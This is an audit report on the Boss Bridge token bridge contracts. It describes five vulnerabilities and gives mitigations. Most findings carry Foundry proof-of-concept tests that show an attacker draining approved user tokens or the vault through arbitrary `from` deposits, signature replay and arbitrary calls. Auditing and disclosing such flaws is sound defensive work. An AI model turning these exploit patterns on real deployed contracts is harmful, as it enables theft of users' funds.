Boss Bridge Audit Report

Version 1.0

Dheeraj K

November 5, 2024

Boss Bridge Audit Report

Dheeraj K

September 27, 2024

Prepared by: Dheeraj Smart Contract Security:

- xxxxxxx

Table of Contents

Protocol Summary

Boss Bridge is a simple bridge mechanism to move ERC20 tokens from L1 to an L2. The bridge does so by allowing the users to deposit tokens, which are held into vaults on L1. This deposit triggers an event that the off-chain mechanism picks up, parses and provides a signature which the user could use on L2 to withdraw their assets.

Disclaimer

Dheeraj and team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond to the following commit hash:

```
07af21653ab3e8a8362bf5f63eb058047f562375
```

Scope

```
./src/
#-- L1BossBridge.sol
#-- L1Token.sol
#-- L1Vault.sol
#-- TokenFactory.sol
```

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.
- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

We spend around 10 hours for this audit.

Issues found

Severity	Number of issues found
High	4
Medium	1
Low	0
Information	0
Total number of issues	5

Findings

High

[H-1] Users who give tokens approvals to L1BossBridge may have their tokens stolen

Description: The `depositTokensToL2` functions takes in `from` address, that means the caller and the one who approved the tokens to the bridge can be different addresses.

As a result, an attacker can look for token approvals by any user and quickly deposit those tokens by providing `from` address of the user. This will move the tokens into the bridge vault and the attacker could later withdraw them on L2 using an address that he owns.

Impact: User who approves their funds to the bridge in order to migrate between the chains, fall victim to losing all their approved assets.

Proof of Concept:

1. A user approves some tokens to the bridge.
2. An attacker calls `depositTokensToL2` with `from` address of the user who approved tokens before he calls it.
3. This way, attacker deposits the funds into the vault, which he could later withdraw on L2 chain.

Proof of Code

Place the following test in `L1TokenBridge.t.sol`

```

    function testDepositWithArbitraryFrom() public {
         vm.prank(user);
         // user approves the bridge
         token.approve(address(tokenBridge), type(uint256).max);

         address daku = makeAddr("daku");
         uint256 amount = token.balanceOf(user);
         vm.expectEmit(address(tokenBridge));
         emit Deposit(user, daku, amount);
         vm.prank(daku);
         // the daku drain's users funds
         tokenBridge.depositTokensToL2(user, daku, amount);

         // assert
         assertEq(token.balanceOf(user), 0);
         assertEq(token.balanceOf(address(vault)), amount);
     }
```

Recommended Mitigation: Modify the `depositTokensToL2` function so that the caller cannot specify a `from` address

```

-    function depositTokensToL2(address from, address l2Recipient, uint256 amount) external whenNotPaused {
+    function depositTokensToL2(address l2Recipient, uint256 amount) external whenNotPaused {
         if (token.balanceOf(address(vault)) + amount > DEPOSIT_LIMIT) {
             revert L1BossBridge__DepositLimitReached();
         }
-        token.safeTransferFrom(from, address(vault), amount);
+        token.safeTransferFrom(msg.sender, address(vault), amount);

         // Our off-chain service picks up this event and mints the
            corresponding tokens on L2
-        emit Deposit(from, l2Recipient, amount);
+        emit Deposit(msg.sender, l2Recipient, amount);
     }
```

[H-2] Calling `depositTokensToL2` from the Vault contract to the Vault contract allows minting of infinite unbacked tokens.

Description: `depositTokensToL2` functions lets the caller specify the `from` address. The tokens are transferred from `from` address to the vault. Since the vault grants infinite approval to the bridge, it's possible for an attacker to call `deppositTokenstoL2` with `from` address as vault address. This would transfer tokens from vault to vault itself, which would allow the attacker to trigger the `Deposit` event multiple times, causing minting of tokens on L2 which are unbacked by deposits on L1.

Impact: This would allow minting of unbacked tokens. Also, the attacker could mint all the tokens deposited in vault to themselves.

Proof of Concept:

Proof of Code

Add the following test in `L1TokenBridge.t.sol`

```

    function testDepositExploitVaultApproveBridgeAndUserSteals() public
        {
        // let user deposit funds into the vault
        deal(address(token), address(vault), 50 ether);

        address daku = makeAddr("daku");
        uint256 amount = token.balanceOf(address(vault));

        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), daku, amount);
        vm.prank(daku);
        // the daku drain's vault
        tokenBridge.depositTokensToL2(address(vault), daku, amount);

        assertEq(token.balanceOf(address(vault)), amount);
    }
```

Recommended Mitigation: Modifty the `depositTokensToL2` function so that the caller cannot specify a `from` address.

[S-#] Lack of replay protection in `withdrawTokensToL1` allows withdrawals by replayed signatures

Description: To withdraw tokens from the bridge, users are required to call `sendToL1` or the `withdrawTokensToL1` function. Both of these require the sender to send along some withdrawal data signed by one of the approved bridge operators.

However, there is no mechanism to prevent any valid used signature from being used again. Therefore, valid signatures from any bridge operator can be reused again by any attacker to continue executing withdrawls, thus draining the vault completely.

Impact: This would allow the vaults to be drained completely.

Proof of Concept:

Proof of Code

Place the following test in `L1TokenBridge.t.sol`

```

    function testSignatureReplay() public {
        uint256 vaultStartingBal = 1000e18;
        uint256 dakuStartingBal = 100e18;
        address daku = makeAddr("daku");
        // initial supply to vault
        deal(address(token), address(vault), vaultStartingBal);
        deal(address(token), daku, dakuStartingBal);

        // Daku deposits into the vault
        vm.startPrank(daku);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(daku, daku, dakuStartingBal);

        // Signer/Operator will sign the withdrawal
        bytes memory message =
            abi.encode(address(token), 0, abi.encodeCall(IERC20.
                transferFrom, (address(vault), daku, dakuStartingBal)));
        (uint8 v, bytes32 r, bytes32 s) =
            vm.sign(operator.key, MessageHashUtils.
                toEthSignedMessageHash(keccak256(message)));

        while (token.balanceOf(address(vault)) > 0) {
            tokenBridge.withdrawTokensToL1(daku, dakuStartingBal, v, r,
                 s);
        }

        assertEq(token.balanceOf(daku), dakuStartingBal +
           vaultStartingBal);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Redesign the withdrawl so that it includes some measures to prevent signature replay.

[H-4] `L1BossBridge::sendToL1` allows execution of arbitrary calls enabling users to call `L1Vault::approveTo` and give themselves infinite allowance of vault funds

Description: The `L1BossBridge` contract has a function `sendToL1` that takes a valid signature from an operator and executed that low-level call to given target. Since there's no restriction on the target or the calldata, this call could be used by an attacker to execute sensitive contracts of the bridge. Ex. `L1Vault`.

Since the `L1BossBridge` owns `L1Vault`, the attacker could submit a call that targets the vault and executes `approveTo` function, passing an address that he controls to increase the allowance. This step would allow the attacker to drain the vault.

Impact: This would allow the attacker to significantly drain the vault of its deposits.

Proof of Concept:

Proof of Code

Add this test in `L1TokenBridge.t.sol`

```

    function testDrainVaultWithApproveSignature() public {
        address daku = makeAddr("daku");
        uint256 dakuStartingBal = 100e18;
        uint256 vaultInitialBal = 1000e18;
        deal(address(token), address(vault), vaultInitialBal);
        deal(address(token), daku, dakuStartingBal);

        // Daku deposits into the vault
        vm.startPrank(daku);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(daku, daku, dakuStartingBal);

        // sendTokensToL1
        bytes memory message = abi.encode(
            address(token), 0, abi.encodeCall(L1Vault.approveTo, (daku,
                vaultInitialBal))
        );

        (uint8 v, bytes32 r, bytes32 s) = _signMessage(message,
            operator.key);
        vm.stopPrank();

        // attack
        // token-approval
        // vm.prank(msgSender);
        tokenBridge.sendToL1(v, r, s, message);

        token.transferFrom(address(vault), daku, vaultInitialBal);

        assertEq(token.balanceOf(daku), vaultInitialBal);
        assertEq(token.balanceOf(address(vault)), dakuStartingBal);
    }
```

Recommended Mitigation: Such sensitive calls should not be allowed.

Medium

[M-1] Withdrawls are prone to unbounded gas consumption due to return bombs

Description: On withdrawals, the L1 bridge executed a low-level call to an arbitrary target passing all available gas. A malicious target may drop a return bomb to the caller. This would be done by returning a large amount of return data in the call, which Solidity would copy to memory, thus increasing gas costs due to the expensive memory operations. Callers unaware of this risk may not set the transaction's gas limit properly, and therefore be tricked to spend more ETH than necessary to execute the call.

Recommended Mitigation: If the external call's returndata is not to be used, then consider modifying the call to avoid copying any of the data.